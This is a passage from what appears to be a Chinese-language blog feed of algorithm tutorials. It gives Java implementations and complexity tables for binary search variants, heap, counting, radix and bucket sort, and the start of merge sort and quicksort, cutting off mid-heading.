&#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = arr.length - <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">res</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] == target) &#123;</span><br><span class="line">            res = mid;</span><br><span class="line">            right = mid - <span class="number">1</span>;  <span class="comment">// 继续向左找</span></span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (arr[mid] &lt; target) &#123;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            right = mid - <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-2-查找最后一个等于target的位置"><a href="#2-2-查找最后一个等于target的位置" class="headerlink" title="2.2 查找最后一个等于target的位置"></a>2.2 查找最后一个等于target的位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findLast</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = arr.length - <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">res</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] == target) &#123;</span><br><span class="line">            res = mid;</span><br><span class="line">            left = mid + <span class="number">1</span>;  <span class="comment">// 继续向右找</span></span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (arr[mid] &lt; target) &#123;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            right = mid - <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-查找第一个大于等于target的位置"><a href="#2-3-查找第一个大于等于target的位置" class="headerlink" title="2.3 查找第一个大于等于target的位置"></a>2.3 查找第一个大于等于target的位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">lowerBound</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = arr.length;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] &lt; target) &#123;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            right = mid;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> left;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-4-查找第一个大于target的位置"><a href="#2-4-查找第一个大于target的位置" class="headerlink" title="2.4 查找第一个大于target的位置"></a>2.4 查找第一个大于target的位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">upperBound</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = arr.length;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] &lt;= target) &#123;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            right = mid;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> left;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、旋转数组查找"><a href="#三、旋转数组查找" class="headerlink" title="三、旋转数组查找"></a>三、旋转数组查找</h2><h3 id="3-1-问题"><a href="#3-1-问题" class="headerlink" title="3.1 问题"></a>3.1 问题</h3><p>有序数组旋转后，查找target。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">searchRotated</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 判断哪一半有序</span></span><br><span class="line">        <span class="keyword">if</span> (nums[left] &lt;= nums[mid]) &#123;  <span class="comment">// 左半有序</span></span><br><span class="line">            <span class="keyword">if</span> (nums[left] &lt;= target &amp;&amp; target &lt; nums[mid]) &#123;</span><br><span class="line">                right = mid - <span class="number">1</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                left = mid + <span class="number">1</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 右半有序</span></span><br><span class="line">            <span class="keyword">if</span> (nums[mid] &lt; target &amp;&amp; target &lt;= nums[right]) &#123;</span><br><span class="line">                left = mid + <span class="number">1</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                right = mid - <span class="number">1</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、二分查找的泛化应用"><a href="#四、二分查找的泛化应用" class="headerlink" title="四、二分查找的泛化应用"></a>四、二分查找的泛化应用</h2><h3 id="4-1-求平方根"><a href="#4-1-求平方根" class="headerlink" title="4.1 求平方根"></a>4.1 求平方根</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">mySqrt</span><span class="params">(<span class="type">int</span> x)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = x;</span><br><span class="line">    <span class="type">int</span> <span class="variable">res</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="type">long</span> <span class="variable">square</span> <span class="operator">=</span> (<span class="type">long</span>) mid * mid;</span><br><span class="line">        <span class="keyword">if</span> (square == x) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (square &lt; x) &#123;</span><br><span class="line">            res = mid;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            right = mid - <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-查找峰值"><a href="#4-2-查找峰值" class="headerlink" title="4.2 查找峰值"></a>4.2 查找峰值</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findPeakElement</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &gt; nums[mid + <span class="number">1</span>]) &#123;</span><br><span class="line">            right = mid;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> left;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>二分查找的精髓在于<strong>确定搜索区间的不变性</strong>：</p><ul><li><code>left &lt;= right</code>：闭区间，最后 <code>left = right + 1</code></li><li><code>left &lt; right</code>：左闭右开，最后 <code>left = right</code></li></ul><p>掌握边界处理和变形问题，二分查找可以解决远超”查找元素”的各类问题。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 二分查找 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>排序算法堆排序与计数</title>
      <link href="//sorting-heap-counting/"/>
      <url>//sorting-heap-counting/</url>
      
        <content type="html"><![CDATA[<h2 id="一、堆排序"><a href="#一、堆排序" class="headerlink" title="一、堆排序"></a>一、堆排序</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p>利用堆数据结构，每次将堆顶（最大/最小）元素放到正确位置。</p><h3 id="1-2-实现"><a href="#1-2-实现" class="headerlink" title="1.2 实现"></a>1.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">heapSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 建大顶堆</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> n / <span class="number">2</span> - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</span><br><span class="line">        heapify(arr, n, i);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 排序</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> n - <span class="number">1</span>; i &gt; <span class="number">0</span>; i--) &#123;</span><br><span class="line">        swap(arr, <span class="number">0</span>, i);      <span class="comment">// 堆顶放到末尾</span></span><br><span class="line">        heapify(arr, i, <span class="number">0</span>);   <span class="comment">// 重新堆化</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">heapify</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> n, <span class="type">int</span> i)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">largest</span> <span class="operator">=</span> i;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">2</span> * i + <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">right</span> <span class="operator">=</span> <span class="number">2</span> * i + <span class="number">2</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (left &lt; n &amp;&amp; arr[left] &gt; arr[largest]) largest = left;</span><br><span class="line">    <span class="keyword">if</span> (right &lt; n &amp;&amp; arr[right] &gt; arr[largest]) largest = right;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (largest != i) &#123;</span><br><span class="line">        swap(arr, i, largest);</span><br><span class="line">        heapify(arr, n, largest);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-3-复杂度分析"><a href="#1-3-复杂度分析" class="headerlink" title="1.3 复杂度分析"></a>1.3 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间</th><th>空间</th></tr></thead><tbody><tr><td>最好</td><td>( O(n \log n) )</td><td>( O(1) )</td></tr><tr><td>最坏</td><td>( O(n \log n) )</td><td>( O(1) )</td></tr><tr><td>平均</td><td>( O(n \log n) )</td><td>( O(1) )</td></tr><tr><td>稳定性</td><td><strong>不稳定</strong></td><td></td></tr></tbody></table><h3 id="1-4-特点"><a href="#1-4-特点" class="headerlink" title="1.4 特点"></a>1.4 特点</h3><ul><li><strong>原地排序</strong>：空间 ( O(1) )</li><li><strong>不稳定性</strong>：跳跃交换</li><li>适合<strong>内存受限</strong>场景</li></ul><h2 id="二、计数排序"><a href="#二、计数排序" class="headerlink" title="二、计数排序"></a>二、计数排序</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>统计每个值出现的次数，按顺序输出。</p><h3 id="2-2-适用条件"><a href="#2-2-适用条件" class="headerlink" title="2.2 适用条件"></a>2.2 适用条件</h3><ul><li>数据范围<strong>较小</strong>且<strong>整数</strong></li><li>知道数据的上下界</li></ul><h3 id="2-3-实现"><a href="#2-3-实现" class="headerlink" title="2.3 实现"></a>2.3 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">countingSort</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> maxVal)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] count = <span class="keyword">new</span> <span class="title class_">int</span>[maxVal + <span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 统计</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : arr) &#123;</span><br><span class="line">        count[num]++;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 输出</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt;= maxVal; i++) &#123;</span><br><span class="line">        <span class="keyword">while</span> (count[i]-- &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            arr[idx++] = i;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-4-稳定版计数排序"><a href="#2-4-稳定版计数排序" class="headerlink" title="2.4 稳定版计数排序"></a>2.4 稳定版计数排序</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">countingSortStable</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> maxVal)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] count = <span class="keyword">new</span> <span class="title class_">int</span>[maxVal + <span class="number">1</span>];</span><br><span class="line">    <span class="type">int</span>[] output = <span class="keyword">new</span> <span class="title class_">int</span>[arr.length];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : arr) count[num]++;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= maxVal; i++) count[i] += count[i - <span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 从后往前保证稳定性</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> arr.length - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</span><br><span class="line">        output[--count[arr[i]]] = arr[i];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    System.arraycopy(output, <span class="number">0</span>, arr, <span class="number">0</span>, arr.length);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-5-复杂度"><a href="#2-5-复杂度" class="headerlink" title="2.5 复杂度"></a>2.5 复杂度</h3><table><thead><tr><th>情况</th><th>时间</th><th>空间</th></tr></thead><tbody><tr><td>最好/最坏/平均</td><td>( O(n + k) )</td><td>( O(n + k) )</td></tr></tbody></table><p>( k ) = 数据范围</p><h2 id="三、基数排序"><a href="#三、基数排序" class="headerlink" title="三、基数排序"></a>三、基数排序</h2><h3 id="3-1-核心思想"><a href="#3-1-核心思想" class="headerlink" title="3.1 核心思想"></a>3.1 核心思想</h3><p>按<strong>位数</strong>逐位排序，从低位到高位，每位用计数排序。</p><h3 id="3-2-实现"><a href="#3-2-实现" class="headerlink" title="3.2 实现"></a>3.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">radixSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">max</span> <span class="operator">=</span> Arrays.stream(arr).max().getAsInt();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">exp</span> <span class="operator">=</span> <span class="number">1</span>; max / exp &gt; <span class="number">0</span>; exp *= <span class="number">10</span>) &#123;</span><br><span class="line">        countingSortByDigit(arr, exp);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">countingSortByDigit</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> exp)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] count = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">10</span>];</span><br><span class="line">    <span class="type">int</span>[] output = <span class="keyword">new</span> <span class="title class_">int</span>[arr.length];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : arr) count[(num / exp) % <span class="number">10</span>]++;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; <span class="number">10</span>; i++) count[i] += count[i - <span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> arr.length - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">digit</span> <span class="operator">=</span> (arr[i] / exp) % <span class="number">10</span>;</span><br><span class="line">        output[--count[digit]] = arr[i];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    System.arraycopy(output, <span class="number">0</span>, arr, <span class="number">0</span>, arr.length);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-复杂度"><a href="#3-3-复杂度" class="headerlink" title="3.3 复杂度"></a>3.3 复杂度</h3><p>( O(d(n + k)) )，( d ) = 位数，( k ) = 进制数</p><h2 id="四、桶排序"><a href="#四、桶排序" class="headerlink" title="四、桶排序"></a>四、桶排序</h2><h3 id="4-1-核心思想"><a href="#4-1-核心思想" class="headerlink" title="4.1 核心思想"></a>4.1 核心思想</h3><p>将数据分到多个<strong>桶</strong>，每个桶内分别排序。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bucketSort</span><span class="params">(<span class="type">float</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    List&lt;Float&gt;[] buckets = <span class="keyword">new</span> <span class="title class_">ArrayList</span>[n];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) buckets[i] = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 入桶</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">float</span> num : arr) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> (<span class="type">int</span>) (num * n);</span><br><span class="line">        buckets[idx].add(num);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 桶内排序</span></span><br><span class="line">    <span class="keyword">for</span> (List&lt;Float&gt; bucket : buckets) &#123;</span><br><span class="line">        Collections.sort(bucket);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 合并</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (List&lt;Float&gt; bucket : buckets) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">float</span> num : bucket) &#123;</span><br><span class="line">            arr[idx++] = num;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><table><thead><tr><th>排序</th><th>时间</th><th>空间</th><th>稳定性</th><th>适用场景</th></tr></thead><tbody><tr><td>堆排序</td><td>( O(n \log n) )</td><td>( O(1) )</td><td>不稳定</td><td>内存受限</td></tr><tr><td>计数排序</td><td>( O(n + k) )</td><td>( O(n + k) )</td><td>稳定</td><td>小范围整数</td></tr><tr><td>基数排序</td><td>( O(d(n + k)) )</td><td>( O(n + k) )</td><td>稳定</td><td>固定位数整数</td></tr><tr><td>桶排序</td><td>( O(n) )平均</td><td>( O(n) )</td><td>稳定</td><td>数据均匀分布</td></tr></tbody></table><p>线性排序算法突破了比较排序的 ( O(n \log n) ) 下界，但需要特定条件。堆排序是最实用的原地 ( O(n \log n) ) 排序之一。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 排序 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>排序算法归并与快速</title>
      <link href="//sorting-merge-quick/"/>
      <url>//sorting-merge-quick/</url>
      
        <content type="html"><![CDATA[<h2 id="一、分治思想"><a href="#一、分治思想" class="headerlink" title="一、分治思想"></a>一、分治思想</h2><h3 id="1-1-核心步骤"><a href="#1-1-核心步骤" class="headerlink" title="1.1 核心步骤"></a>1.1 核心步骤</h3><ol><li><strong>分解</strong>：将问题拆分为子问题</li><li><strong>解决</strong>：递归解决子问题</li><li><strong>合并</strong>：将子问题的解合并</li></ol><p>[ T(n) = aT(n/b) + f(n) ]</p><h2 id="二、归并排序"><a href="#二、归并排序" class="headerlink" title="二、归并排序"></a>二、归并排序</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>分而治之：将数组一分为二，分别排序后合并两个有序数组。</p><h3 id="2-2-实现"><a href="#2-2-实现" class="headerlink" title="2.2 实现"></a>2.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">mergeSort</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left &gt;= right) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">    mergeSort(arr, left, mid);</span><br><span class="line">    mergeSort(arr, mid + <span class="number">1</span>, right);</span><br><span class="line">    merge(arr, left, mid, right);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">merge</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> mid, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] temp = <span class="keyword">new</span> <span class="title class_">int</span>[right - left + <span class="number">1</span>];</span><br><span class="line">    <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> left, j = mid + <span class="number">1</span>, k = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (i &lt;= mid &amp;&amp; j &lt;= right) &#123;</span><br><span class="line">        <span class="keyword">if</span> (arr[i] &lt;= arr[j]) temp[k++] = arr[i++];</span><br><span class="line">        <span class="keyword">else</span> temp[k++] = arr[j++];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (i &lt;= mid) temp[k++] = arr[i++];</span><br><span class="line">    <span class="keyword">while</span> (j &lt;= right) temp[k++] = arr[j++];</span><br><span class="line">    </span><br><span class="line">    System.arraycopy(temp, <span class="number">0</span>, arr, left, temp.length);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-复杂度分析"><a href="#2-3-复杂度分析" class="headerlink" title="2.3 复杂度分析"></a>2.3 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间复杂度</th><th>空间复杂度</th></tr></thead><tbody><tr><td>最好</td><td>( O(n \log n) )</td><td>( O(n) )</td></tr><tr><td>最坏</td><td>( O(n \log n) )</td><td>( O(n) )</td></tr><tr><td>平均</td><td>( O(n \log n) )</td><td>( O(n) )</td></tr><tr><td>稳定性</td><td><strong>稳定</strong></td><td></td></tr></tbody></table><h3 id="2-4-稳定性证明"><a href="#2-4-稳定性证明" class="headerlink" title="2.4 稳定性证明"></a>2.4 稳定性证明</h3><p>合并时取 <code>&lt;=</code> 而非 <code>&lt;</code>，保证相等元素先取左边的，相对位置不变。</p><h2 id="三、快速排序"><a href="#三、快速排序" class="headerlink" title="三、快速排序"></a>三、快速排序</h2><h3 id="3-1-核心思想"><a href="#3-1-核心思想" class="headerlink" title="3.1 核心思想"></a>3.1 核心思想</h3><p>选择一个<strong>基准值(pivot)</strong>，将数组分为两部分：小于pivot的放左边，大于的放右边，然后递归排序两部分。</p><h3 id="3-2-基础实现"><a href="#3-2-基础实现" class="headerlink" title="3.2 基础实现"></a>3.2 基础实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">quickSort</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left &gt;= right) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">pivot</span> <span class="operator">=</span> partition(arr, left, right);</span><br><span class="line">    quickSort(arr, left, pivot - <span class="number">1</span>);</span><br><span class="line">    quickSort(arr, pivot + <span class="number">1</span>, right);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">partition</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">pivot</span> <span class="operator">=</span> arr[right];  <span class="comment">// 选最后一个为基准</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> left;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> left; j &lt; right; j++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (arr[j] &lt;= pivot) &#123;</span><br><span class="line">            swap(arr, i++, j);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    swap(arr, i, right);</span><br><span class="line">    <span class="keyword">return</span> i;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-随机化优化"><a href="#3-3-随机化优化" class="headerlink" title="3.3 随机化优化"></a>3.3 随机化优化</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">partitionRandom</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">randomIdx</span> <span class="operator">=</span> left + <span class="keyword">new</span> <span class="title class_">Random</span>().nextInt(right - left + <span class="number">1</span>);</span><br><span class="line">    swap(arr, randomIdx, right);</span><br><span class="line">    <span class="keyword">return</span> partition(arr, left, right);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-三数取中法"><a href="#3-4-三数取中法" class="headerlink" title="3.4 三数取中法"></a>3.4 三数取中法</h3><p>选择left、mid、right三个位置的中值作为pivot，避免极端情况。</p><h3 id="3-5-双路快排（处理大量重复元素）"><a href="#3-5-双路快排（处理大量重复元素）" class="headerlink" 